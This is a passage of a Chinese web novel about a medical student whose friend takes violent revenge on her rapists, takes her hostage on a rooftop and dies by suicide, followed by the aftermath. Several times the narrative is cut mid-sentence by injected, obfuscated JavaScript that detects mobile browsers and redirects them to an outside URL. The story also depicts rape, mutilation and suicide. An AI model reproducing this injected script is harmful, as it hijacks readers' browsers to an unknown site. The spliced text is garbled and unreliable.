红梅跟着谢芳走上楼梯,才后知后觉地说:“我们在这里给你过生日吗?可是都没吃的。” 谢芳反问:“那你觉得去哪合适?” “食堂?”话说出口,红梅连连摇头,“全校师生才吃出腹泻,在调查清楚病因之前,是不合适在那继续吃了。” 顿了顿又说:“要是我带够了钱,我完全可以请你去校外,起码吃碗热腾腾的面呀。” “那这个怎么办呢?”谢芳手里的蛋糕盒子摇摇摆摆。 红梅歪歪脑袋:“吃不饱吧,吃得饱吗?” “只有我们两个人吃,你说呢。” 说话间,她们一路跑到六层,再往上就是屋顶。屋顶有一处观星台,专业天文望远镜传说可以在白天看到星星,原本是校友集体赠予的财富,却因金额过万太过贵重,而把所有人拒之门外。 全楼最贵的设备在脑袋顶上,走过路过的学生都会调侃:什么人才配上楼看,校长真抠门。 门和铁索禁锢着所有人的好奇,钥匙归后勤处管理,此刻也牢牢反锁着。 红梅左右观望要找空教室,却见谢芳踏上7楼。 “芳芳?” “嘘。”谢芳把食指举在嘴边,把蛋糕放在地上,悄悄撸下去的袜子内侧,露出一把年久的金属钥匙。 红梅登时瞪大双眼。 难道……? 她飞快跨越阶梯,悄悄给谢芳挡住视线。谢芳对她俏皮眨眼,钥匙顺利进入锁孔的瞬间,咔哒一声,锁头开了。 红梅接过锁头放在地上,谢芳轻手轻脚把盘踞的锁链解开,随着哐的一声,那扇无人经过的门顿时将另一个世界开启。 红梅静静地站在门边,望着外面的世界。 谢芳提起蛋糕,一手向她伸来:“我们走。” 红梅点点头,牵住彼此的手,向着未知,踏出一步。 没人来过的屋顶,原来天文台只占了很小一间,剩下的全都是平地。 省医学院六层教学楼,是周遭为数不多的高楼,在一众平房面前视野格外出众。就着原处发光建筑的轮廓,红梅几乎立刻认出那是什么。 “附属医院,省车站,还有欧式街!” 就连宿舍楼,她那个房间,甚至是床,也变得格外渺小。 她兴奋地指给谢芳,谢芳只是耸肩。 一阵寒风吹来,红梅顿时冷得打哆嗦,谢芳随即找到一个避风处,席地而坐,把奶油蛋糕的包装拆开。 忽然就有些饿了。 红梅坐在她身边,瞧着谢芳拿出附赠的纸餐盘,银色刀叉,彩色蜡烛,又摸出一个打火机。 红梅自告奋勇接过点火任务,征询起谢芳意见:“放几个蜡烛?” “五个。” 红梅把蜡烛组成漂亮的五角星,准备点火时,谢芳却忽然又拿起一根蜡烛放在最中心。 “还是六个吧。” 红梅依次把蜡烛点燃,小小光辉忽明忽灭,与远方的灯火连缀成星海。 谢芳双手抱腿,凝望着这片绮色,耳边却忽然响起生日快乐歌。 红梅小声打着节拍,唱完最后一句祝你生日快乐,不厌其烦地说出祝福:“我们芳芳,以后每天都要快乐,绝对不只是生日哦!” 谢芳扯扯嘴角,没有回应,头又渐渐垂下。 沉默持续到风吹灭一支蜡烛,红梅急忙提醒她:“快许愿啊。” 谢芳双手依然抱着腿,蜷缩得像个孩子,闭了闭眼,随后吹灭所有蜡烛。 每一步都差强人意,红梅依然捧场地鼓掌,把熄灭的蜡烛摘到旁边,自信地说:“你的愿望,依然是成为最好的妇产科医生吧?” 谢芳沉默许久,才重新开口。 “不,早就不是了。” 红梅诧异地望向她。 天边忽然传来警车鸣笛的声音,谢芳被提醒什么似的,拿起刀和纸餐盘,动手将生日蛋糕切开,第一块先递给红梅。 “你中午没吃饭吧,快吃吧。” 红梅接过蛋糕,囫囵往嘴里扒拉。甜味蔓延每一寸味蕾好吃,忍不住夸一句真好吃,才不好意思道:“你怎么知道啊。” 谢芳也吃起蛋糕:“食堂集体食物中毒,你又是天天吃食堂的,没道理会落单。所以你肯定没吃嘛。” 想起为什么没吃,红梅有些不好意思挠挠头发。 一角蛋糕消灭,谢芳又给她添一块。两个人把蛋糕消灭殆尽,只剩一地狼藉的时候,红梅不禁摸摸肚子。 “这大概是我吃过最好的蛋糕啦,等我过生日,我也请你吃一样的。” 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030598|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芳却又是沉默。 把用过的垃圾收在一处,慢慢擦拭起沾满奶油的刀。 红梅见了直夸:“质量是蛮好的,洗洗还能用呢。” 而警车鸣笛声越来越大。 红梅不禁好奇:“省城治安一直很好,到底是哪里出问题了?” 她站起身,站在天台边缘想要看警车去向,却意外发现噪音来源就停在校门口,仅仅被门房卡住一瞬间,就立刻向教学楼直冲而来,车刚停下,四个穿着警察制服的人便马不停蹄地往教学楼里冲。 而门口还有另外两辆警车,越过学校大门,即将重复同样的步调。 红梅顿时紧张起来:“这是怎么了?” 她扭头想要把见闻告诉谢芳,却见谢芳不知何时站在她身旁,也居高临下瞧着这番景象。 “比我想的,还要快啊。” 红梅满头雾水:“这……为什么呢?他们总不能是来抓校长的吧?食物中毒案件而已,校长责任首当其中,肯定不是他干的。更何况人也不在学校呢。” “他们的目标不是我爸。” “那是?” 谢芳轻描淡写道:“我啊。” 红梅诧异望向好友,她的面容绝无玩笑之意,甚至比考试还认真几分。 可是,为什么呢? 却没有更多时间可以给她想清楚。 纷杂脚步声迅速从楼梯传来,铁门蹿入四个身影,为首警察观望天台一圈迅速锁定她们,双手持枪喝令:“不许动,举起手来!” 红梅为什么还没张口,脖颈顿时感觉一凉。 谢芳绕在她身后,方才切过蛋糕的刀就架在她左喉管处。那里是动脉血管,一旦割断,人会迅速失血而亡。 耳边谢芳轻声低语:“别担心,我不会伤害你。” 随即呵向警察的话语却格外讽刺:“别过来,否则我会杀了她。” 为首女警察开口谈判:“谢芳,物证是你自己提供的,案子证据确凿,如果你现在自首,按照故意伤害论处,最多几年就出来了。冤有头,债有主,刘红梅是无辜的。如果你对她下手,那就是蓄意谋杀,起码十年起步。 “你是人人称赞的好孩子,每年都是医学院优秀学生代表,你要想清楚。” 望着对面的女警察,红梅脑子嗡嗡地响。 她在说什么? 这其中肯定有误会,芳芳怎么会跟犯罪牵扯在一块? 耳边谢芳却轻声一笑:“在我需要的时候,公正在什么地方?” 女警察沉默。 身后支援警察纷纷挤在楼门阴影处,月光反射枪管冷意,谢芳持刀挟持红梅,慢慢一步步退后。 只有红梅听得到的嘱咐却没断过。 “红梅,不管以后听到什么,记住,这不是你的错。 “是我选择了自己的道路,过去是,现在也是。” 分明刀尖相对,一颗热泪却滚在谢芳手背。 红梅抽泣着问:“芳芳,到底有什么是你不能告诉我,我们一起解决的?我们一起解决过很多困难,约定要做最好的搭档,怎么会变成这样。” 谢芳轻笑一声:“我想了很久,想过很多,红梅。最后的得出的答案是,时代错了。 “可惜人不能选择如何出生,那我起码可以选择如何结束。” 刀无法与枪抗衡,持枪警察们慢慢前进,而谢芳在天台退到极限,只能止步。 “我的生日愿望是,祝福你,红梅,我最好的朋友。请你努力实现你的理想,让它带着你越飞越高,直到再也没有什么能让你坠落。 “你要像鸟一样自由。” 红梅后背忽然被狠狠一推,瘦弱身体被迫向前扑倒之时,女警察及时将她护佑在身后。 人质已经安全,其余警察便慢慢向前,不忘带着警告。 “悬崖勒马吧,我可以算你是自首,起码你还能活着,人生很长的。” 月色在白裙镀上一层冷霜,背对着太阳的残光,谢芳忽地一笑。 “没人能审判我,包括你们。” 刀叮咚坠落在地,她纵身向规则外的世界飞跃,将撕心裂肺的尖叫甩在身后。 “芳芳!” 无人回应。 唯有理想砸碎的声音,在夜晚轰然作响。 23. 回声 一场横跨夜晚的询问结束,审讯室打开,跨出门坎,红梅再也走不动一步,呆坐在等候报案的长椅上。 警察局大厅也静悄悄。 先前喝酒闹事的人睡在桌子上,鼾声如雷,小偷被手铐铐着,倚在墙根闭眼。 窗外一线晨光挤破黑暗。 夜晚是犯罪最好的保护色,破晓却预示着黎明,在光明彻照大地之前,一切陷入沉静,只有彻夜办案的警察强撑精神穿行在楼上楼下,直到白日开启,一夜无梦的人们继续生活。 红梅安静地看着周遭。 肉.体十分疲惫,精神却无法不活跃,想着方才的一切。 谢芳死了,自杀。 抱着必死的决意,头朝下,颅骨碎成一摊再也无法弥合的混合物,法医当场宣告死亡。 她的遗体,连同她这个人质一起,打包带回警察局。 被盘问最近的行踪,某几个日期在做什么,红梅根据课表一五一十地说出。直到警察确认她没有丝毫做同伙的可能性,才被告知真相。 “几个月前……我们收到一起轮.奸案报案,报案人是谢芳。” 女警察深深叹息着,才继续说起过往:“我们根据她的指认,只抓到了两个男人,其中一个就是谢芳的未婚夫王某。但是王某坚称是谢芳喝多了记错了,另一个人也是这么说的。 “双方父母赶到,说两个孩子本来就要结婚,但由于男方没有到法定领证年龄没法领证,才只能这样。闹大了对谁都不好看,尤其对女孩子的名声……他们私下和解,我们做警察的也做不了什么,所以那次报案,就不了了之。 “再后来就是案子。 “阴.茎阴囊被割掉扔在公元垃圾桶里,环卫工发现的。起初以为是哪家屠宰场不做人事,直到对比发现那似乎是人的,才报告到我们这里。不知道是没了生殖器官感到丢人,还是其他什么原因,被害男没有主动报案。 “局里治安案件很多,被害人没有报案的案件在当时没有引起重视,直到发生第三起,男人拿着接回失败的生殖器主动报案,我们展开调查,才得知原来另外两个人,跟他或多或少有来往。 “这三个人没有正经工作,混迹在夜总会之类的地方做零工,每天接触的人比车站售票员还多,根本不知道在哪里树敌得罪了人。 “从作案手法来讲,手起刀落,手法极其熟练。 “起初的调查方向依然是厨师、肉店老板、有屠宰场经验的人。” “我忽然想起来谢芳。 “她当时提到的人数,是五个。没有被我们抓到的另外三人,到底是谁。 “但就算我想追查也没有意义,那起案件已经和解。我打电话给谢校长,他也只是说今年会订婚。” “最终让谢芳自曝的是,今天。 “她在午餐订婚宴前一小时,就把王某越到楼上客房,注射麻醉剂趁机下手,把割下的生殖器放进早就准备好的福尔马林罐子里,然后在王某学管理注射酒精,把现场伪装成王某喝酒中毒的样子,就离开了现场。 “中午订婚宴开始,新郎迟迟不到,跟王某母亲一起上楼寻找,才一起发现赤身裸体的王某被割了生殖器,然后送到医院。 “就在王某母亲报警,哭着说儿子怎么办的时候,他被割掉的生殖器,就在谢芳留在她身边的手包里。泡着福尔马林,完全坏死,已经接不回去了。” 红梅怔怔听着,通红眼睛一眨不眨,许久才反应过来,声音嘶哑地问:“刚刚在天台,你跟芳芳说我是无辜的,为什么?” 女警察沉默片刻,又是叹息:“你比我想的聪明……我抵达医院接警的时候,王某已经醒了。他看着自己的器官被泡在罐子里,打砸了医院,除了咒骂谢芳之外,嘴里念念有词,‘来的怎么不是刘红梅’……” 话到这里,女警察再次沉默,红梅却几乎立刻将一切串联。 订婚,案件发生,谣言的四起,表哥的愤怒,谢芳的异常,甚至是更久之前,一切的起点。 她听到自己声音平静地说:“是那次上门送餐,我发烧了没有去,代替我去的是谢芳,对吗。” 思及此,声音越来越轻:“他们五个人的目标本来是,农村出身,无权无势,人微言轻,不管对她做什么恶,随便就能拿钱打发的我,是吗。” 女警察安静地看着她,沉默地闭上双眼。 所有声音都消失,如同死了一样。 警察局大门被推开,红梅困倦地睁眼,看到了谢芳父母。 谢诚头发灰白,吴莲面如菜色,都没比一夜未眠的她好到哪里去。 两方相见之际,唯有沉默。 警察见到来人,确认道:“是死者谢芳家属吗,来这边认领遗体,确认过后要准备送殡仪馆了。” 谢诚扶着吴莲走向警察,与红梅擦肩而过之际,听到一句问。 “为什么?” 二人顿时止步。 红梅眼睛通红,近乎呆滞地看向他们,难以置信地问。 “如果是我受害,也许我就会认命了,但你们不一样啊! “一个是有权有势的校长,一个是德高望重的医生。为什么,为什么你们没有替芳芳声张正义,而是跟犯罪分子握手言和?婚姻在你们眼里到底是什么,遮羞布吗?到底是什么比你们女儿重要?你们的名声吗? “这个世界对强.奸犯的惩罚,是让他娶了被害人吗? “我父母大字不识一个,但绝对不会这么对我。” 责问一声甚过一声,叫醒了睡在大厅的所有人,就连路过的警察也为之侧目。 谢诚扶着吴莲要继续往前走,吴莲忽然推开丈夫,站在原地掩面而哭。 她是该感到欣慰,还是感到难过? 一切都太迟了。 红梅静静地看着他们,从长椅上起身,走向警察局门口。 推门而出的时候,晨光已经铺满大半个天幕。 她慢慢走出警察局大门,来到街头,在十字路口打转几遭,终于被街头好心人提醒,重新踏往正确的回学校的路。 看门大爷看到她,深深叹口气,放她进学校。 阳光之下,广场站了有些许晨练学生,见到是她都窃窃私语起来,宣传栏优秀学生代表,照片栏褪了些许颜色,没有风吹的红旗,在旗杆上耷拉下来,迎面教学楼的入口,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034651|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条警戒线拦在其后,白线划出依稀人体轮廓,却拼凑不出头部的模样,唯有地上放射性深红印迹,宣告着这是怎样一场爆裂的死亡。 站在警戒线前,红梅深深吸一口气,脑海中残存着友人的忠告。 “红梅,不管以后听到什么,记住,这不是你的错。 “是我选择了自己的道路,过去是,现在也是。” 而我的路又在何方? 再也流不出一滴泪,红梅疲惫地走向女生宿舍。 一夜警车鸣笛的风波早已传得满城风雨,彻夜未归就成了首要怀疑对象。见到她的人都绕道走,生怕沾染什么。 红梅却松了一口气。 这样也好,不会有人再受伤。 踏进宿舍大门,宿管阿姨瞧见是她,把她拉回了门房。 红梅实在没什么力气,双手揉起早已干涸的眼睛,进门就开始解释:“对不起,阿姨,我没有回来睡觉,是因为我去了一趟警察局,我通了宵,现在需要休息,等我醒来就告诉你发生了什么,我……” 我已经不知道该做什么。 宿管阿姨却拍拍她的小床:“昨晚的动静大家都知道,你是芳芳的朋友,更是品学兼优的好孩子,不用跟我解释。先别回宿舍了,就在这里睡吧。我去跟你室友说。” 红梅怔怔望着她许久,近乎嘶哑的喉咙才滚一句:“谢谢。” 又几乎发不出声音地:“谢谢。” 她脱下鞋,躺在那张小床上,阿姨把被子掖在她的下颌,轻声安抚:“睡吧。” 就关上大门,让她独自休息了。 封闭在只有自己的空间,直到所有声音都落幕的时候,麻木感渐渐消失,痛楚成为针尖,密密麻麻扎着过往所有记忆,懊悔油然而生。 她早该发现的。 如果当时多问一句呢。 她这样报复是因为我那句提醒吗。 谁都可以指责谢芳父母,唯独她没有资格唾骂。 因为她是不折不扣的幸存者。 她尖叫着,却唯有沉默。 新一期省城晚报头版头条宣告着,横贯近乎一年的男子生殖器被扔到街头案成功告破。 报道详细记载着,从被害者五人的被害时间,犯罪分子谢芳作案过程,到谢芳的生平。省医学院一时被记者挤满,校门外也围观者好事者,却没人提过刘红梅。 一切尘埃落定之后,校长迅速换人,吴莲也离职省医院。 谢芳没有葬礼,只一个孤坟。 红梅从女警察处得知地址,带着一束花去见她。 埋葬了邬眉的坟墓,不远处就是谢芳。照片她认得,跟谢芳图书馆借书证上的是同一张,初入大学校园,满溢着实现理想的笑容,就像日光那样永不落幕。 红梅坐在地上,烧起纸钱,念念有词。 “我收到你寄的挂号信了,钱一分没少,足够我不打工也能读书了。虽然是匿名,我认得你的字迹呀,我们一切学习了那么久呢。 “我一定会好好读书的,但,然后呢?芳芳。如果时代错了,我还能为你做什么? “一切不会就这样结束的,我向你承诺。” 24. 第 24 章 投币式电话响起即将中止的提示音,红梅急忙往里塞一枚硬币维持通话。 受邬眉嘱托,红梅养成每周给邬勇打电话问候近况的习惯,向来都是她问远在首都读书的邬勇,吃了什么、天气如何、身体健不健康、和同学们相处如何,熟稔如老妈子,在得到回应后继续细细嘱托,恨不能顺着电话线钻过去照料,得到邬勇会好好生活的承诺,就把电话挂断。 她鲜少提及自己的事情,邬勇也习惯这套问候。 今天也是平常的对话,只是邬勇在挂电话前多关心一句,就得到了蔓延一整个硬币的沉默。 “姐,你最近还好吗?” 话筒传递着彼此的呼吸声,却让话题再次陷入无止境的沉默之中,就像聊家常是天大的难题一样。 红梅望着脚下的青砖,不知道从哪说起。 随着警戒线被撤下,教学楼地面的白印消失,血迹和其他人体组织也被蚂蚁蚕食殆尽。天台四周围了网状护栏,从楼下远远就能瞧见。但其实这道护栏聊胜于无,门被换了新的更加先进的门锁,钥匙归新校长管理,谁都无法重蹈覆辙。 好好学习是祝福,也是枷锁。 她像跟知识有仇一样,从那天起独来独往,短短几个月自学完大二全部课程,就开始钻研大三的课程。 期末成绩门门优秀,被挂在年末表彰里。 这是她应得的,但原本属于好友的位置,再也看不到那张笑脸。 好像不该愤恨,也好像不该忘怀。 情感被铭记抽走,她走不出来。 在校园里看到三五成群的嬉笑打闹的女孩,她会油然而生的羡慕,却也会在无人时掏出三张借书证。 她的,谢芳已经记满换领的,她购买新证件贴上邬眉照片的。 虽然不在身边,但她也有过好朋友。 世上最好的朋友。 时间只是把一切抛在身后。 通话时间即将结束,红梅从口袋里机械掏出硬币,指缝却不留神漏掉一个。她忙蹲下身子去捡,赶在最后之前把钱塞进投币口。 对面邬勇终于沉不住气,赶忙道:“红梅姐,这么久了,只有你跟我姐一样照顾我。到底出了什么事,跟我说说看,有什么我能帮上你的? “是缺钱我给你汇款,是缺人搭把手那我期末考试结束就立刻回去,就比你迟两周,很快的。坚持一下。” 红梅摇摇头,转而说:“寒假放了,你有地方过年吗?” “我以前是跟姐姐过,现在……” “那放假回来,跟我回家吧。需要坐火车,换乘大巴车,再倒成驴车。路有点长,希望你不要嫌弃啊。” “哪里的话。红梅姐愿意收留我,已经是我的幸运了。” “那我们约好,考完试坐哪班车,我去接你。” “嗯,红梅姐。” 通话终于挂断,红梅让出电话。等候打电话的队伍已经很长,见到是她占用却不敢说什么,视线一个个别开,跟更亲密的人交头接耳。 这就是代价。 她习惯了。 红梅轻笑一声,独自回到寝室,收拾好卫生乖乖躺回床铺。 熄灯时间降临,室友们三两各自回来,就着没睡的黑暗聊起天。 就有人问:“应晚,你真要退学重考吗?都大二了。” 应晚长叹口气:“我家里想给我办转学,需要期末考试成绩才坚持参加的,但是中间人没办成,只好退学重考了。” “都大二了,再坚持两年就能毕业分工作了,你不觉得可惜吗?” 应晚冷呵一声:“我本来就不喜欢护理专业,捏着鼻子在学,学校又出了那么多事……我好说歹说爸妈才同意我重新高考的,这下算彻底解脱了,我可以有别的未来了。我已经想好了,下一次报戏剧专业,和高雅的东西打交道,屎尿屁在这两年,真是受得够够的了。” 未来,好陌生的字眼。 红梅黑暗中睁开双眼,上大一前的她在想什么? 等到毕业分工作分房,就能把爸妈从地里接进城里住,城里机会多,讨生活的法子也多,再也不用担心蝗灾就把口粮都吃光了,还有那么多五光十色的新东西可以凑热闹。 上了学发愁学费,学费赚到发愁生活费。 人生好像总有解决不完的困难在前头,一切努力都是徒劳的滚雪球。 她现在连落泪的资格都没有。 最后一门考试。 应晚熬到交卷时间交了白卷,在众人的欢呼和祝福下潇洒离开。红梅极快把问题打完,一整张卷子字迹密如芝麻,也交卷走人。 走出考场,图书馆闭馆,食堂不到开门时间,校园偌大,却没有栖身之所,红梅只能回到宿舍。 应晚哼着港台流行歌,声音在走廊都能听到,满载着马上就能回家彻底告别所有荒诞的喜悦,恨不得昭告天下。 红梅站在门口,不知该不该进去,虚掩的门却在下一刻打开,一张喜上眉梢的脸在看到她时明显一顿,语气也恢复平常。 “是你啊。” 红梅自觉让开出口,应晚直纳闷:“躲什么?” 红梅摇摇头,只说:“从不想要的人生里解脱,应该会很幸福吧,祝贺你呀。过上自己想要的人生吧。” 应晚静静地瞧着她片刻,把随身听耳机摘下,当着她的面演示起来。 “播放,快进,后退,停止,录音…… “这个跟普通收音机没什么不一样,只是小巧轻便。用的时候记得小心点,进口货金贵得很,稍微摔摔里头就坏掉不能用了。省城没有维修处,说不定还会修坏……总而言之,你要小心使用。” 语毕就把随身听塞到红梅怀中。 红梅诧异极了:“你要给我吗?” 应晚欣然点头,大拇指比划向自己的床铺:“包括那些,在这里的所有东西,我都不要了。如果你不嫌弃,就给你吧。” 应晚用的都是好东西,即便是二手货也极有市场。 红梅抿抿唇,委婉提醒,换来对方更加确定:“我一直觉得你的成绩不该在护理系,但高考就是这么幽默。既然想要城里的工作,好好学习吧。将来我去医院做检查,遇到你这样的护士,我会很放心的。就当我给国家医疗做赞助吧。就这样,我要回家了,再也不见。” 应晚潇洒挥手,离开像鸟一样自由。 翌日,红梅来到墓园。 在门口买过纸钱,先去邬眉那里坐坐,说说邬勇近况,室友慷慨的赠与,承诺等邬勇放假了跟他一起拜访,再把差不多的话题跟谢芳说一遍。 冬日寒风凛冽,家常话不肯断,唯一的热源就来自一层层纸钱。 红梅不禁跟谢芳笑:“我到底是在取暖,还是给你们送钱?” 没人能回答。 火焰将苍白吞噬殆尽,烟时断时续地飘成一线。 擦擦墓碑上的灰尘,红梅把盆收起要离开,却转头看到熟人:天台时劝说谢芳也保护她、连夜审讯并告知实情的女警察,站在她身后第二排,腊月也来拜祭故人。 说来惭愧,她还不知道她叫什么。 只迟疑片刻要不要打招呼,视线在半空中相撞,女警察眼神讶异极了。 “你又来了?” 红梅惭愧地笑笑:“考完试了,来见见朋友,聊聊天。您呢?” 女警察下巴微扬指向面前的墓碑:“刚办完大案子,我升职了,见见我爸。” 红梅慢慢靠近她,也见到那方墓碑的主人。 穿着警察制服的中年男人,眼光锐利透过照片,仿佛灵魂不灭。 因公殉职,碑前常有菊花。 红梅向墓碑鞠躬:“您辛苦了。” 女警察嘘她:“学生家家还挺人情世故啊?” 二人对视之际,都是笑出来,这才互通姓名,原来女警察名叫裴宁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴宁倚在车边点烟,也跟着望起梅花:“再过一周左右,应该就开了。” 红梅喃喃自语:“我要等弟弟一起回家过年,再过一周,那我应该能见到。” 两人沉默观赏梅林间,便是听到大爷远远大喊。 “你是哪个系的!梅林不许抽烟!” 裴宁立刻掐掉烟头把烟滑进衣袖,双手摊开耍赖道:“没抽,你看错了。” 大爷眉头紧锁瞧着地上的灰,风一吹,更是毁尸灭迹。他愤怒地看向红梅,人两手一摊:“我不会抽烟。” 抓不到现行,大爷恼火瞧向裴宁:“别让我再抓到你!不然校规论处!” 人就怒气冲冲地走了。 裴宁招呼红梅上车,红梅后知后觉地问:“校规?” 汽车发动,裴宁才答:“这里是政法学校,也是我的母校,离你们学校四站地,走过来或者坐公交都不远,想常来就认认路。记得带学生证,就说是来蹭课听的,就不会拦着你了。” 一路安静回到学校,红梅认住路,也同裴宁道别。 “今天谢谢你,裴警官。” 裴宁两指抵着太阳穴,潇洒敬个礼:“为人民服务。” 车扬长而去。 医学院彻底放假,学生早就走得差不多。红梅申请多住两周得到批准,一路畅通无阻,回到宿舍也是豪华无人独居,简直不能更舒服。 唯独见到红色梅花的快乐,无人可以分享。 她掏出三张借书证,对着照片们说。 “如果你们也在就好了。” 回应她的只有沉默。 残存的快乐消失殆尽,她抚抚两张照片,把她们贴在床头,打开大四的专业书。